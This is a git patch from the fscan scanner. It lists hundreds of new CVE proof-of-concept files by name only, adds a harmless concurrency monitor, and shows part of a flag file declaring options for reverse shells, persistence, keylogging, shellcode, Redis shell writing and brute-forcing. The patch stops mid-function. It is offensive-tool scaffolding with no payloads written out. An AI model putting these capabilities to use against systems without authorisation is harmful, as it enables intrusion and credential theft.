100644 webscan/pocs/confluence-cve-2015-8399.yml create mode 100644 webscan/pocs/confluence-cve-2019-3396-lfi.yml create mode 100644 webscan/pocs/confluence-cve-2021-26084.yml create mode 100644 webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml create mode 100644 webscan/pocs/consul-rexec-rce.yml create mode 100644 webscan/pocs/consul-service-rce.yml create mode 100644 webscan/pocs/coremail-cnvd-2019-16798.yml create mode 100644 webscan/pocs/couchcms-cve-2018-7662.yml create mode 100644 webscan/pocs/couchdb-cve-2017-12635.yml create mode 100644 webscan/pocs/couchdb-unauth.yml create mode 100644 webscan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml create mode 100644 webscan/pocs/datang-ac-default-password-cnvd-2021-04128.yml create mode 100644 webscan/pocs/dedecms-carbuyaction-fileinclude.yml create mode 100644 webscan/pocs/dedecms-cve-2018-6910.yml create mode 100644 webscan/pocs/dedecms-cve-2018-7700-rce.yml create mode 100644 webscan/pocs/dedecms-guestbook-sqli.yml create mode 100644 webscan/pocs/dedecms-membergroup-sqli.yml create mode 100644 webscan/pocs/dedecms-url-redirection.yml create mode 100644 webscan/pocs/discuz-ml3x-cnvd-2019-22239.yml create mode 100644 webscan/pocs/discuz-v72-sqli.yml create mode 100644 webscan/pocs/discuz-wechat-plugins-unauth.yml create mode 100644 webscan/pocs/discuz-wooyun-2010-080723.yml create mode 100644 webscan/pocs/django-CVE-2018-14574.yml create mode 100644 webscan/pocs/dlink-850l-info-leak.yml create mode 100644 webscan/pocs/dlink-cve-2019-16920-rce.yml create mode 100644 webscan/pocs/dlink-cve-2019-17506.yml create mode 100644 webscan/pocs/dlink-cve-2020-25078-account-disclosure.yml create mode 100644 webscan/pocs/dlink-cve-2020-9376-dump-credentials.yml create mode 100644 webscan/pocs/dlink-dsl-2888a-rce.yml create mode 100644 webscan/pocs/docker-api-unauthorized-rce.yml create mode 100644 webscan/pocs/docker-registry-api-unauth.yml create mode 100644 webscan/pocs/dotnetcms-sqli.yml create mode 100644 webscan/pocs/draytek-cve-2020-8515.yml create mode 100644 webscan/pocs/druid-monitor-unauth.yml create mode 100644 webscan/pocs/drupal-cve-2014-3704-sqli.yml create mode 100644 webscan/pocs/drupal-cve-2018-7600-rce.yml create mode 100644 webscan/pocs/drupal-cve-2019-6340.yml create mode 100644 webscan/pocs/dubbo-admin-default-password.yml create mode 100644 webscan/pocs/duomicms-sqli.yml create mode 100644 webscan/pocs/dvr-cve-2018-9995.yml create mode 100644 webscan/pocs/e-office-v10-sql-inject.yml create mode 100644 webscan/pocs/e-office-v9-upload-cnvd-2021-49104.yml create mode 100644 webscan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml create mode 100644 webscan/pocs/ecology-arbitrary-file-upload.yml create mode 100644 webscan/pocs/ecology-filedownload-directory-traversal.yml create mode 100644 webscan/pocs/ecology-javabeanshell-rce.yml create mode 100644 webscan/pocs/ecology-springframework-directory-traversal.yml create mode 100644 webscan/pocs/ecology-syncuserinfo-sqli.yml create mode 100644 webscan/pocs/ecology-v8-sqli.yml create mode 100644 webscan/pocs/ecology-validate-sqli.yml create mode 100644 webscan/pocs/ecology-workflowcentertreedata-sqli.yml create mode 100644 webscan/pocs/ecology-workflowservicexml.yml create mode 100644 webscan/pocs/ecshop-cnvd-2020-58823-sqli.yml create mode 100644 webscan/pocs/ecshop-collection-list-sqli.yml create mode 100644 webscan/pocs/ecshop-login-sqli.yml create mode 100644 webscan/pocs/ecshop-rce.yml create mode 100644 webscan/pocs/eea-info-leak-cnvd-2021-10543.yml create mode 100644 webscan/pocs/elasticsearch-cve-2014-3120.yml create mode 100644 webscan/pocs/elasticsearch-cve-2015-1427.yml create mode 100644 webscan/pocs/elasticsearch-cve-2015-3337-lfi.yml create mode 100644 webscan/pocs/elasticsearch-cve-2015-5531.yml create mode 100644 webscan/pocs/elasticsearch-unauth.yml create mode 100644 webscan/pocs/etcd-unauth.yml create mode 100644 webscan/pocs/etcd-v3-unauth.yml create mode 100644 webscan/pocs/etouch-v2-sqli.yml create mode 100644 webscan/pocs/exchange-cve-2021-26855-ssrf.yml create mode 100644 webscan/pocs/eyou-rce.yml create mode 100644 webscan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml create mode 100644 webscan/pocs/f5-cve-2021-22986.yml create mode 100644 webscan/pocs/f5-cve-2022-1388.yml create mode 100644 webscan/pocs/f5-tmui-cve-2020-5902-rce.yml create mode 100644 webscan/pocs/fangweicms-sqli.yml create mode 100644 webscan/pocs/fckeditor-info.yml create mode 100644 webscan/pocs/feifeicms-lfr.yml create mode 100644 webscan/pocs/finecms-sqli.yml create mode 100644 webscan/pocs/finereport-directory-traversal.yml create mode 100644 webscan/pocs/finereport-v8-arbitrary-file-read.yml create mode 100644 webscan/pocs/flexpaper-cve-2018-11686.yml create mode 100644 webscan/pocs/flink-jobmanager-cve-2020-17519-lfi.yml create mode 100644 webscan/pocs/fortigate-cve-2018-13379-readfile.yml create mode 100644 webscan/pocs/frp-dashboard-unauth.yml create mode 100644 webscan/pocs/gateone-cve-2020-35736.yml create mode 100644 webscan/pocs/gilacms-cve-2020-5515.yml create mode 100644 webscan/pocs/gitlab-graphql-info-leak-cve-2020-26413.yml create mode 100644 webscan/pocs/gitlab-ssrf-cve-2021-22214.yml create mode 100644 webscan/pocs/gitlist-rce-cve-2018-1000533.yml create mode 100644 webscan/pocs/glassfish-cve-2017-1000028-lfi.yml create mode 100644 webscan/pocs/go-pprof-leak.yml create mode 100644 webscan/pocs/gocd-cve-2021-43287.yml create mode 100644 webscan/pocs/h2-database-web-console-unauthorized-access.yml create mode 100644 webscan/pocs/h3c-imc-rce.yml create mode 100644 webscan/pocs/h3c-secparh-any-user-login.yml create mode 100644 webscan/pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml create mode 100644 webscan/pocs/hadoop-yarn-unauth.yml create mode 100644 webscan/pocs/hanming-video-conferencing-file-read.yml create mode 100644 webscan/pocs/harbor-cve-2019-16097.yml create mode 100644 webscan/pocs/hikvision-cve-2017-7921.yml create mode 100644 webscan/pocs/hikvision-gateway-data-file-read.yml create mode 100644 webscan/pocs/hikvision-info-leak.yml create mode 100644 webscan/pocs/hikvision-intercom-service-default-password.yml create mode 100644 webscan/pocs/hikvision-showfile-file-read.yml create mode 100644 webscan/pocs/hikvision-unauthenticated-rce-cve-2021-36260.yml create mode 100644 webscan/pocs/hjtcloud-arbitrary-fileread.yml create mode 100644 webscan/pocs/hjtcloud-directory-file-leak.yml create mode 100644 webscan/pocs/huawei-home-gateway-hg659-fileread.yml create mode 100644 webscan/pocs/ifw8-router-cve-2019-16313.yml create mode 100644 webscan/pocs/iis-put-getshell.yml create mode 100644 webscan/pocs/influxdb-unauth.yml create mode 100644 webscan/pocs/inspur-tscev4-cve-2020-21224-rce.yml create mode 100644 webscan/pocs/jboss-cve-2010-1871.yml create mode 100644 webscan/pocs/jboss-unauth.yml create mode 100644 webscan/pocs/jeewms-showordownbyurl-fileread.yml create mode 100644 webscan/pocs/jellyfin-file-read-cve-2021-21402.yml create mode 100644 webscan/pocs/jenkins-cve-2018-1000600.yml create mode 100644 webscan/pocs/jenkins-cve-2018-1000861-rce.yml create mode 100644 webscan/pocs/jenkins-unauthorized-access.yml create mode 100644 webscan/pocs/jetty-cve-2021-28164.yml create mode 100644 webscan/pocs/jira-cve-2019-11581.yml create mode 100644 webscan/pocs/jira-cve-2019-8442.yml create mode 100644 webscan/pocs/jira-cve-2019-8449.yml create mode 100644 webscan/pocs/jira-cve-2020-14179.yml create mode 100644 webscan/pocs/jira-cve-2020-14181.yml create mode 100644 webscan/pocs/jira-ssrf-cve-2019-8451.yml create mode 100644 webscan/pocs/joomla-cnvd-2019-34135-rce.yml create mode 100644 webscan/pocs/joomla-component-vreview-sql.yml create mode 100644 webscan/pocs/joomla-cve-2015-7297-sqli.yml create mode 100644 webscan/pocs/joomla-cve-2017-8917-sqli.yml create mode 100644 webscan/pocs/joomla-cve-2018-7314-sql.yml create mode 100644 webscan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml create mode 100644 webscan/pocs/jumpserver-unauth-rce.yml create mode 100644 webscan/pocs/jupyter-notebook-unauthorized-access.yml create mode 100644 webscan/pocs/kafka-manager-unauth.yml create mode 100644 webscan/pocs/kibana-cve-2018-17246.yml create mode 100644 webscan/pocs/kibana-unauth.yml create mode 100644 webscan/pocs/kingdee-eas-directory-traversal.yml create mode 100644 webscan/pocs/kingsoft-v8-default-password.yml create mode 100644 webscan/pocs/kingsoft-v8-file-read.yml create mode 100644 webscan/pocs/kong-cve-2020-11710-unauth.yml create mode 100644 webscan/pocs/kubernetes-unauth.yml create mode 100644 webscan/pocs/kyan-network-monitoring-account-password-leakage.yml create mode 100644 webscan/pocs/landray-oa-custom-jsp-fileread.yml create mode 100644 webscan/pocs/lanproxy-cve-2021-3019-lfi.yml create mode 100644 webscan/pocs/laravel-cve-2021-3129.yml create mode 100644 webscan/pocs/laravel-debug-info-leak.yml create mode 100644 webscan/pocs/laravel-improper-webdir.yml create mode 100644 webscan/pocs/maccms-rce.yml create mode 100644 webscan/pocs/maccmsv10-backdoor.yml create mode 100644 webscan/pocs/metinfo-cve-2019-16996-sqli.yml create mode 100644 webscan/pocs/metinfo-cve-2019-16997-sqli.yml create mode 100644 webscan/pocs/metinfo-cve-2019-17418-sqli.yml create mode 100644 webscan/pocs/metinfo-file-read.yml create mode 100644 webscan/pocs/metinfo-lfi-cnvd-2018-13393.yml create mode 100644 webscan/pocs/minio-default-password.yml create mode 100644 webscan/pocs/mongo-express-cve-2019-10758.yml create mode 100644 webscan/pocs/mpsec-isg1000-file-read.yml create mode 100644 webscan/pocs/msvod-sqli.yml create mode 100644 webscan/pocs/myucms-lfr.yml create mode 100644 webscan/pocs/nagio-cve-2018-10735.yml create mode 100644 webscan/pocs/nagio-cve-2018-10736.yml create mode 100644 webscan/pocs/nagio-cve-2018-10737.yml create mode 100644 webscan/pocs/nagio-cve-2018-10738.yml create mode 100644 webscan/pocs/natshell-arbitrary-file-read.yml create mode 100644 webscan/pocs/netentsec-icg-default-password.yml create mode 100644 webscan/pocs/netentsec-ngfw-rce.yml create mode 100644 webscan/pocs/netgear-cve-2017-5521.yml create mode 100644 webscan/pocs/nextjs-cve-2017-16877.yml create mode 100644 webscan/pocs/nexus-cve-2019-7238.yml create mode 100644 webscan/pocs/nexus-cve-2020-10199.yml create mode 100644 webscan/pocs/nexus-cve-2020-10204.yml create mode 100644 webscan/pocs/nexus-default-password.yml create mode 100644 webscan/pocs/nexusdb-cve-2020-24571-path-traversal.yml create mode 100644 webscan/pocs/nhttpd-cve-2019-16278.yml create mode 100644 webscan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml create mode 100644 webscan/pocs/novnc-url-redirection-cve-2021-3654.yml create mode 100644 webscan/pocs/nps-default-password.yml create mode 100644 webscan/pocs/ns-asg-file-read.yml create mode 100644 webscan/pocs/nsfocus-uts-password-leak.yml create mode 100644 webscan/pocs/nuuo-file-inclusion.yml create mode 100644 webscan/pocs/odoo-file-read.yml create mode 100644 webscan/pocs/openfire-cve-2019-18394-ssrf.yml create mode 100644 webscan/pocs/opentsdb-cve-2020-35476-rce.yml create mode 100644 webscan/pocs/panabit-gateway-default-password.yml create mode 100644 webscan/pocs/panabit-ixcache-default-password.yml create mode 100644 webscan/pocs/pandorafms-cve-2019-20224-rce.yml create mode 100644 webscan/pocs/pbootcms-database-file-download.yml create mode 100644 webscan/pocs/php-cgi-cve-2012-1823.yml create mode 100644 webscan/pocs/phpcms-cve-2018-19127.yml create mode 100644 webscan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml create mode 100644 webscan/pocs/phpmyadmin-setup-deserialization.yml create mode 100644 webscan/pocs/phpok-sqli.yml create mode 100644 webscan/pocs/phpshe-sqli.yml create mode 100644 webscan/pocs/phpstudy-backdoor-rce.yml create mode 100644 webscan/pocs/phpstudy-nginx-wrong-resolve.yml create mode 100644 webscan/pocs/phpunit-cve-2017-9841-rce.yml create mode 100644 webscan/pocs/powercreator-arbitrary-file-upload.yml create mode 100644 webscan/pocs/prometheus-url-redirection-cve-2021-29622.yml create mode 100644 webscan/pocs/pulse-cve-2019-11510.yml create mode 100644 webscan/pocs/pyspider-unauthorized-access.yml create mode 100644 webscan/pocs/qibocms-sqli.yml create mode 100644 webscan/pocs/qilin-bastion-host-rce.yml create mode 100644 webscan/pocs/qizhi-fortressaircraft-unauthorized.yml create mode 100644 webscan/pocs/qnap-cve-2019-7192.yml create mode 100644 webscan/pocs/rabbitmq-default-password.yml create mode 100644 webscan/pocs/rails-cve-2018-3760-rce.yml create mode 100644 webscan/pocs/razor-cve-2018-8770.yml create mode 100644 webscan/pocs/rconfig-cve-2019-16663.yml create mode 100644 webscan/pocs/resin-cnnvd-200705-315.yml create mode 100644 webscan/pocs/resin-inputfile-fileread-or-ssrf.yml create mode 100644 webscan/pocs/resin-viewfile-fileread.yml create mode 100644 webscan/pocs/rockmongo-default-password.yml create mode 100644 webscan/pocs/ruijie-eg-cli-rce.yml create mode 100644 webscan/pocs/ruijie-eg-file-read.yml create mode 100644 webscan/pocs/ruijie-eg-info-leak.yml create mode 100644 webscan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml create mode 100644 webscan/pocs/ruijie-nbr1300g-cli-password-leak.yml create mode 100644 webscan/pocs/ruijie-uac-cnvd-2021-14536.yml create mode 100644 webscan/pocs/ruoyi-management-fileread.yml create mode 100644 webscan/pocs/saltstack-cve-2020-16846.yml create mode 100644 webscan/pocs/saltstack-cve-2021-25282-file-write.yml create mode 100644 webscan/pocs/samsung-wea453e-default-pwd.yml create mode 100644 webscan/pocs/samsung-wea453e-rce.yml create mode 100644 webscan/pocs/samsung-wlan-ap-wea453e-rce.yml create mode 100644 webscan/pocs/sangfor-ad-download.php-filedownload.yml create mode 100644 webscan/pocs/sangfor-ba-rce.yml create mode 100644 webscan/pocs/sangfor-edr-arbitrary-admin-login.yml create mode 100644 webscan/pocs/sangfor-edr-cssp-rce.yml create mode 100644 webscan/pocs/sangfor-edr-tool-rce.yml create mode 100644 webscan/pocs/satellian-cve-2020-7980-rce.yml create mode 100644 webscan/pocs/seacms-before-v992-rce.yml create mode 100644 webscan/pocs/seacms-rce.yml create mode 100644 webscan/pocs/seacms-sqli.yml create mode 100644 webscan/pocs/seacms-v654-rce.yml create mode 100644 webscan/pocs/seacmsv645-command-exec.yml create mode 100644 webscan/pocs/secnet-ac-default-password.yml create mode 100644 webscan/pocs/seeyon-a6-employee-info-leak.yml create mode 100644 webscan/pocs/seeyon-a6-test-jsp-sql.yml create mode 100644 webscan/pocs/seeyon-ajax-unauthorized-access.yml create mode 100644 webscan/pocs/seeyon-cnvd-2020-62422-readfile.yml create mode 100644 webscan/pocs/seeyon-oa-a8-m-information-disclosure.yml create mode 100644 webscan/pocs/seeyon-oa-cookie-leak.yml create mode 100644 webscan/pocs/seeyon-session-leak.yml create mode 100644 webscan/pocs/seeyon-setextno-jsp-sql.yml create mode 100644 webscan/pocs/seeyon-unauthoried.yml create mode 100644 webscan/pocs/seeyon-wooyun-2015-0108235-sqli.yml create mode 100644 webscan/pocs/seeyon-wooyun-2015-148227.yml create mode 100644 webscan/pocs/shiro-key.yml create mode 100644 webscan/pocs/shiziyu-cms-apicontroller-sqli.yml create mode 100644 webscan/pocs/shopxo-cnvd-2021-15822.yml create mode 100644 webscan/pocs/showdoc-default-password.yml create mode 100644 webscan/pocs/showdoc-uploadfile.yml create mode 100644 webscan/pocs/skywalking-cve-2020-9483-sqli.yml create mode 100644 webscan/pocs/solarwinds-cve-2020-10148.yml create mode 100644 webscan/pocs/solr-cve-2017-12629-xxe.yml create mode 100644 webscan/pocs/solr-cve-2019-0193.yml create mode 100644 webscan/pocs/solr-fileread.yml create mode 100644 webscan/pocs/solr-velocity-template-rce.yml create mode 100644 webscan/pocs/sonarqube-cve-2020-27986-unauth.yml create mode 100644 webscan/pocs/sonicwall-ssl-vpn-rce.yml create mode 100644 webscan/pocs/spark-api-unauth.yml create mode 100644 webscan/pocs/spark-webui-unauth.yml create mode 100644 webscan/pocs/spon-ip-intercom-ping-rce.yml create mode 100644 webscan/pocs/spring-actuator-heapdump-file.yml create mode 100644 webscan/pocs/spring-cloud-cve-2020-5405.yml create mode 100644 webscan/pocs/spring-cloud-cve-2020-5410.yml create mode 100644 webscan/pocs/spring-core-rce.yml create mode 100644 webscan/pocs/spring-cve-2016-4977.yml create mode 100644 webscan/pocs/springboot-cve-2021-21234.yml create mode 100644 webscan/pocs/springboot-env-unauth.yml create mode 100644 webscan/pocs/springcloud-cve-2019-3799.yml create mode 100644 webscan/pocs/sql-file.yml create mode 100644 webscan/pocs/struts2-045.yml create mode 100644 webscan/pocs/struts2-046-1.yml create mode 100644 webscan/pocs/supervisord-cve-2017-11610.yml create mode 100644 webscan/pocs/swagger-ui-unauth.yml create mode 100644 webscan/pocs/tamronos-iptv-rce.yml create mode 100644 webscan/pocs/telecom-gateway-default-password.yml create mode 100644 webscan/pocs/tensorboard-unauth.yml create mode 100644 webscan/pocs/terramaster-cve-2020-15568.yml create mode 100644 webscan/pocs/terramaster-tos-rce-cve-2020-28188.yml create mode 100644 webscan/pocs/thinkadmin-v6-readfile.yml create mode 100644 webscan/pocs/thinkcmf-lfi.yml create mode 100644 webscan/pocs/thinkcmf-write-shell.yml create mode 100644 webscan/pocs/thinkphp-v6-file-write.yml create mode 100644 webscan/pocs/thinkphp5-controller-rce.yml create mode 100644 webscan/pocs/thinkphp5023-method-rce.yml create mode 100644 webscan/pocs/tianqing-info-leak.yml create mode 100644 webscan/pocs/tomcat-cve-2017-12615-rce.yml create mode 100644 webscan/pocs/tomcat-cve-2018-11759.yml create mode 100644 webscan/pocs/tomcat-manager-weak.yml create mode 100644 webscan/pocs/tongda-insert-sql-inject.yml create mode 100644 webscan/pocs/tongda-meeting-unauthorized-access.yml create mode 100644 webscan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml create mode 100644 webscan/pocs/tongda-user-session-disclosure.yml create mode 100644 webscan/pocs/tongda-v2017-uploadfile.yml create mode 100644 webscan/pocs/tpshop-directory-traversal.yml create mode 100644 webscan/pocs/tpshop-sqli.yml create mode 100644 webscan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml create mode 100644 webscan/pocs/typecho-rce.yml create mode 100644 webscan/pocs/ueditor-cnvd-2017-20077-file-upload.yml create mode 100644 webscan/pocs/uwsgi-cve-2018-7490.yml create mode 100644 webscan/pocs/vbulletin-cve-2019-16759-bypass.yml create mode 100644 webscan/pocs/vbulletin-cve-2019-16759.yml create mode 100644 webscan/pocs/vmware-vcenter-arbitrary-file-read.yml create mode 100644 webscan/pocs/vmware-vcenter-cve-2021-21985-rce.yml create mode 100644 webscan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml create mode 100644 webscan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml create mode 100644 webscan/pocs/weaver-E-Cology-getSqlData-sqli.yml create mode 100644 webscan/pocs/weaver-ebridge-file-read.yml create mode 100644 webscan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml create mode 100644 webscan/pocs/weblogic-console-weak.yml create mode 100644 webscan/pocs/weblogic-cve-2017-10271.yml create mode 100644 webscan/pocs/weblogic-cve-2019-2725.yml create mode 100644 webscan/pocs/weblogic-cve-2019-2729-1.yml create mode 100644 webscan/pocs/weblogic-cve-2019-2729-2.yml create mode 100644 webscan/pocs/weblogic-cve-2020-14750.yml create mode 100644 webscan/pocs/weblogic-ssrf.yml create mode 100644 webscan/pocs/webmin-cve-2019-15107-rce.yml create mode 100644 webscan/pocs/weiphp-path-traversal.yml create mode 100644 webscan/pocs/weiphp-sql.yml create mode 100644 webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml create mode 100644 webscan/pocs/wordpress-cve-2019-19985-infoleak.yml create mode 100644 webscan/pocs/wordpress-ext-adaptive-images-lfi.yml create mode 100644 webscan/pocs/wordpress-ext-mailpress-rce.yml create mode 100644 webscan/pocs/wuzhicms-v410-sqli.yml create mode 100644 webscan/pocs/xdcms-sql.yml create mode 100644 webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml create mode 100644 webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml create mode 100644 webscan/pocs/yapi-rce.yml create mode 100644 webscan/pocs/yccms-rce.yml create mode 100644 webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml create mode 100644 webscan/pocs/yonyou-grp-u8-sqli.yml create mode 100644 webscan/pocs/yonyou-nc-arbitrary-file-upload.yml create mode 100644 webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml create mode 100644 webscan/pocs/yonyou-u8-oa-sqli.yml create mode 100644 webscan/pocs/youphptube-encoder-cve-2019-5127.yml create mode 100644 webscan/pocs/youphptube-encoder-cve-2019-5128.yml create mode 100644 webscan/pocs/youphptube-encoder-cve-2019-5129.yml create mode 100644 webscan/pocs/yungoucms-sqli.yml create mode 100644 webscan/pocs/zabbix-authentication-bypass.yml create mode 100644 webscan/pocs/zabbix-cve-2016-10134-sqli.yml create mode 100644 webscan/pocs/zabbix-default-password.yml create mode 100644 webscan/pocs/zcms-v3-sqli.yml create mode 100644 webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml create mode 100644 webscan/pocs/zeroshell-cve-2019-12725-rce.yml create mode 100644 webscan/pocs/zimbra-cve-2019-9670-xxe.yml create mode 100644 webscan/pocs/zzcms-zsmanage-sqli.yml diff --git a/common/ConcurrencyMonitor.go b/common/ConcurrencyMonitor.go new file mode 100644 index 0000000..8a88a0d --- /dev/null +++ b/common/ConcurrencyMonitor.go @@ -0,0 +1,137 @@ +package common + +import ( + "fmt" + "sync" + "sync/atomic" + "github.com/shadow1ng/fscan/common/i18n" +) + +/* +ConcurrencyMonitor.go - 并发监控器 + +监控两个层级的并发: +1. 主扫描器线程数 (-t 参数控制) +2. 插件内连接线程数 (-mt 参数控制) +*/ + +// ConcurrencyMonitor 并发监控器 +type ConcurrencyMonitor struct { + // 主扫描器层级 + activePluginTasks int64 // 当前活跃的插件任务数 + totalPluginTasks int64 // 总插件任务数 + + // 插件内连接层级 (每个插件的连接线程数) + pluginConnections sync.Map // map[string]*PluginConnectionInfo + + mu sync.RWMutex +} + +// PluginConnectionInfo 单个插件的连接信息 +type PluginConnectionInfo struct { + PluginName string // 插件名称 + Target string // 目标地址 + ActiveConnections int64 // 当前活跃连接数 + TotalConnections int64 // 总连接数 +} + +var ( + globalConcurrencyMonitor *ConcurrencyMonitor + concurrencyMutex sync.Once +) + +// GetConcurrencyMonitor 获取全局并发监控器 +func GetConcurrencyMonitor() *ConcurrencyMonitor { + concurrencyMutex.Do(func() { + globalConcurrencyMonitor = &ConcurrencyMonitor{ + activePluginTasks: 0, + totalPluginTasks: 0, + } + }) + return globalConcurrencyMonitor +} + +// ============================================================================= +// 主扫描器层级监控 +// ============================================================================= + +// StartPluginTask 开始插件任务 +func (m *ConcurrencyMonitor) StartPluginTask() { + atomic.AddInt64(&m.activePluginTasks, 1) + atomic.AddInt64(&m.totalPluginTasks, 1) +} + +// FinishPluginTask 完成插件任务 +func (m *ConcurrencyMonitor) FinishPluginTask() { + atomic.AddInt64(&m.activePluginTasks, -1) +} + +// GetPluginTaskStats 获取插件任务统计 +func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) { + return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks) +} + +// ============================================================================= +// 插件内连接层级监控 +// ============================================================================= + +// StartConnection 开始连接 +func (m *ConcurrencyMonitor) StartConnection(pluginName, target string) { + key := fmt.Sprintf("%s@%s", pluginName, target) + + value, _ := m.pluginConnections.LoadOrStore(key, &PluginConnectionInfo{ + PluginName: pluginName, + Target: target, + }) + + info := value.(*PluginConnectionInfo) + atomic.AddInt64(&info.ActiveConnections, 1) + atomic.AddInt64(&info.TotalConnections, 1) +} + +// FinishConnection 完成连接 +func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) { + key := fmt.Sprintf("%s@%s", pluginName, target) + + if value, ok := m.pluginConnections.Load(key); ok { + info := value.(*PluginConnectionInfo) + atomic.AddInt64(&info.ActiveConnections, -1) + } +} + +// 已移除未使用的 GetConnectionStats 方法 + +// GetTotalActiveConnections 获取总活跃连接数 +func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 { + var total int64 + + m.pluginConnections.Range(func(key, value interface{}) bool { + info := value.(*PluginConnectionInfo) + total += atomic.LoadInt64(&info.ActiveConnections) + return true + }) + + return total +} + +// 已移除未使用的 Reset 方法 + +// GetConcurrencyStatus 获取并发状态字符串 +func (m *ConcurrencyMonitor) GetConcurrencyStatus() string { + activePlugins, _ := m.GetPluginTaskStats() + totalConnections := m.GetTotalActiveConnections() + + if activePlugins == 0 && totalConnections == 0 { + return "" + } + + if totalConnections == 0 { + return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins) + } + + return fmt.Sprintf("%s:%d %s:%d", + i18n.GetText("concurrency_plugin"), activePlugins, + i18n.GetText("concurrency_connection"), totalConnections) +} + +// 已移除未使用的 GetDetailedStatus 方法 \ No newline at end of file diff --git a/common/Flag.go b/common/Flag.go new file mode 100644 index 0000000..e2dbde2 --- /dev/null +++ b/common/Flag.go @@ -0,0 +1,419 @@ +package common + +import ( + "flag" + "fmt" + "os" + "strings" + + "github.com/fatih/color" + "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" +) + +// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里) +var ( + ExcludeHosts string + Ports string + ExcludePorts string + AddPorts string + HostsFile string + PortsFile string + + // 本地插件列表(由外部初始化) + LocalPluginsList []string + + ModuleThreadNum int + GlobalTimeout int64 + EnableFingerprint bool + + AddUsers string + AddPasswords string + UsersFile string + PasswordsFile string + HashFile string + HashValue string + Domain string + SshKeyPath string + + TargetURL string + URLsFile string + Cookie string + WebTimeout int64 + UserAgent string + Accept string + + PocPath string + PocFull bool + DnsLog bool + PocNum int + DisablePocScan bool + + RedisFile string + RedisShell string + RedisWritePath string + RedisWriteContent string + RedisWriteFile string + + DisableBrute bool + MaxRetries int + + DisableSave bool + Silent bool + DisableProgress bool + + Shellcode string + + // 反弹Shell相关变量 + ReverseShellTarget string + ReverseShellActive bool // 反弹Shell是否处于活跃状态 + + // SOCKS5代理相关变量 + Socks5ProxyPort int // SOCKS5代理监听端口 + Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态 + + // 正向Shell相关变量 + ForwardShellPort int // 正向Shell监听端口 + ForwardShellActive bool // 正向Shell是否处于活跃状态 + + // Linux持久化相关变量 + PersistenceTargetFile string // 持久化目标文件路径 + + // Windows持久化相关变量 + WinPEFile string // Windows PE文件路径 + + // 键盘记录相关变量 + KeyloggerOutputFile string // 键盘记录输出文件 + + // 文件下载相关变量 + DownloadURL string // 下载文件的URL + DownloadSavePath string // 下载文件保存路径 + + // Parse.go 使用的变量 + HostPort []string + URLs []string + HashValues []string + HashBytes [][]byte +) + +// Pocinfo POC信息变量 +var Pocinfo config.PocInfo + +func Banner() { + // 定义暗绿色系 + colors := []color.Attribute{ + color.FgGreen, // 基础绿 + color.FgHiGreen, // 亮绿 + } + + lines := []string{ + " ___ _ ", + " / _ \\ ___ ___ _ __ __ _ ___| | __ ", + " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", + "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", + "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", + } + + // 获取最长行的长度 + maxLength := 0 + for _, line := range lines { + if len(line) > maxLength { + maxLength = len(line) + } + } + + // 创建边框 + topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐" + bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘" + + // 打印banner + fmt.Println(topBorder) + + for lineNum, line := range lines { + fmt.Print("│ ") + // 使用对应的颜色打印每个字符 + c := color.New(colors[lineNum%2]) + c.Print(line) + // 补齐空格 + padding := maxLength - len(line) + fmt.Printf("%s │\n", strings.Repeat(" ", padding)) + } + + fmt.Println(bottomBorder) + + // 打印版本信息 + c := color.New(colors[1]) + c.Printf(" Fscan Version: %s\n\n", version) +} + +// Flag 解析命令行参数并配置扫描选项 +func Flag(Info *HostInfo) { + Banner() + + // 预处理语言设置 - 在定义flag之前检查lang参数 + preProcessLanguage() + + // ═════════════════════════════════════════════════ + // 目标配置参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host")) + flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts")) + flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports")) + flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports")) + flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file")) + flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file")) + + // ═════════════════════════════════════════════════ + // 扫描控制参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode")) + flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num")) + flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout")) + flag.IntVar(&ModuleThreadNum, "mt", 50, i18n.GetText("flag_module_thread_num")) + flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) + // LiveTop 参数已移除,改为智能控制 + flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) + 